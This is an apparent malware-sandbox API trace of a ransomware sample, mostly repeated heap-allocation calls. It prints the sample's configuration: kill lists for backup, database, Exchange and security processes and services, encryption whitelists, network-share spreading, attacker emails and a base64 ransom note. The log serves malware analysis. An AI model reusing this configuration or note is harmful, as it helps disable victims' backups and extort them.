Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x47f9e4, _Radix=0 | out: _EndPtr=0x47f9e4*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 5 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8de728, Size=0x1c) returned 0x8df458 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de728 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df458, Size=0x20) returned 0x8df480 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de748 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfe8 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de768 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0x8) returned 0x8dbfd8 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de788 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df480, Size=0x24) returned 0x8d8508 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de7a8 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8508, Size=0x28) returned 0x8d8538 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de7c8 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8538, Size=0x2c) returned 0x8da788 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de7e8 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfe8 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de808 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbff8 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de828 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dc008 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de848 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0xc) returned 0x8d3868 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de868 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3868, Size=0x10) returned 0x8d3838 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de888 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x14) returned 0x8de8a8 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de8c8 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8de8a8, Size=0x18) returned 0x8de8e8 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de8a8 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8de8e8, Size=0x1c) returned 0x8df480 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de8e8 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df480, Size=0x20) returned 0x8df458 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de908 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df458, Size=0x24) returned 0x8d8538 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de928 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8538, Size=0x28) returned 0x8d8508 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de948 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8508, Size=0x2c) returned 0x8da7c0 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de968 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7c0, Size=0x30) returned 0x8da7f8 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de988 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7f8, Size=0x34) returned 0x8d9990 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de9a8 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d9990, Size=0x38) returned 0x8d99d0 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de9c8 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d99d0, Size=0x3c) returned 0x8d21e8 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de9e8 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d21e8, Size=0x40) returned 0x8d2230 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dea08 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2230, Size=0x44) returned 0x8dfab0 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dea28 [0128.954] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x48) returned 0x8dfab0 [0128.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dea48 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x4c) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dea68 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x50) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dea88 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x54) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deaa8 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x58) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deac8 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x5c) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deae8 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x60) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deb08 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x64) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deb28 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x68) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deb48 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x6c) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deb68 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x70) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deb88 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x74) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deba8 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x78) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8debc8 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x7c) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8debe8 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x80) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dec08 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x84) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dec28 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x88) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dec48 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x8c) returned 0x8dfab0 [0128.955] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dec68 [0128.955] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x90) returned 0x8dfab0 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dec88 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfab0, Size=0x94) returned 0x8dfab0 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deca8 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0x8) returned 0x8dc008 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8decc8 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfe8 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dece8 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0x8) returned 0x8dbff8 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8ded08 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0xc) returned 0x8d3838 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8ded28 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x10) returned 0x8d3868 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8ded48 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3868, Size=0x14) returned 0x8ded68 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8ded88 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8ded68, Size=0x18) returned 0x8deda8 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8ded68 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8deda8, Size=0x1c) returned 0x8df458 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8deda8 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df458, Size=0x20) returned 0x8df480 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8dedc8 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df480, Size=0x24) returned 0x8d8508 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1230 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8508, Size=0x28) returned 0x8d8538 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1250 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8538, Size=0x2c) returned 0x8da7f8 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1270 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7f8, Size=0x30) returned 0x8da7c0 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1290 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7c0, Size=0x34) returned 0x8d99d0 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e12b0 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d99d0, Size=0x38) returned 0x8d9990 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e12d0 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d9990, Size=0x3c) returned 0x8d2230 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e12f0 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2230, Size=0x40) returned 0x8d21e8 [0128.956] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1310 [0128.956] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0xc) returned 0x8d3868 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1330 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dc008 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1350 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0x8) returned 0x8dbff8 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1370 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0xc) returned 0x8d3838 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1390 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x10) returned 0x8d3880 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e13b0 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3880, Size=0x14) returned 0x8e13d0 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e13f0 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e13d0, Size=0x18) returned 0x8e1410 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e13d0 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e1410, Size=0x1c) returned 0x8df480 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1410 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df480, Size=0x20) returned 0x8df458 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1430 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8df458, Size=0x24) returned 0x8d8538 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1450 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8538, Size=0x28) returned 0x8d8508 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1470 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d8508, Size=0x2c) returned 0x8da7c0 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1490 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7c0, Size=0x30) returned 0x8da7f8 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e14b0 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7f8, Size=0x34) returned 0x8d9990 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e14d0 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d9990, Size=0x38) returned 0x8d99d0 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e14f0 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d99d0, Size=0x3c) returned 0x8d2230 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1510 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2230, Size=0x40) returned 0x8d2278 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1530 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d2278, Size=0x44) returned 0x8dfb50 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1550 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x48) returned 0x8dfb50 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1570 [0128.957] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x4c) returned 0x8dfb50 [0128.957] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e1590 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x50) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e15b0 [0128.958] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfb50, Size=0x54) returned 0x8dfb50 [0128.958] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e15d0 [0128.958] RtlReAllocateHeap 